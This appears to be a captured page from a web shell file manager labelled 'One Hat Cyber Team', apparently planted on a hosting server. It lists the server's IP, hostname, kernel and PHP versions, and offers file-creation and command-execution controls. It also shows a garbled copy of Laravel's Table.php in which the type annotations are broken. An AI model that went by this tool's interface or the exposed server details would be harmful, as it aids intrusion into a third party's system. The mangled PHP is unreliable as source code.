⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.67
Server IP:
50.6.168.112
Server:
Linux server-617809.webnetzimbabwe.com 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
Server Software:
Apache
PHP Version:
8.4.10
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
ctaacademy
/
www
/
vendor
/
laravel
/
prompts
/
src
/
View File Name :
Table.php
> */ public array $headers; /** * The table rows. * * @var array
> */ public array $rows; /** * Create a new Table instance. * * @param array
>|Collection
> $headers * @param array
>|Collection
> $rows * * @phpstan-param ($rows is null ? list
>|Collection
> : list
>|Collection
>) $headers */ public function __construct(array|Collection $headers = [], array|Collection|null $rows = null) { if ($rows === null) { $rows = $headers; $headers = []; } $this->headers = $headers instanceof Collection ? $headers->all() : $headers; $this->rows = $rows instanceof Collection ? $rows->all() : $rows; } /** * Display the table. */ public function display(): void { $this->prompt(); } /** * Display the table. */ public function prompt(): bool { $this->capturePreviousNewLines(); $this->state = 'submit'; static::output()->write($this->renderTheme()); return true; } /** * Get the value of the prompt. */ public function value(): bool { return true; } }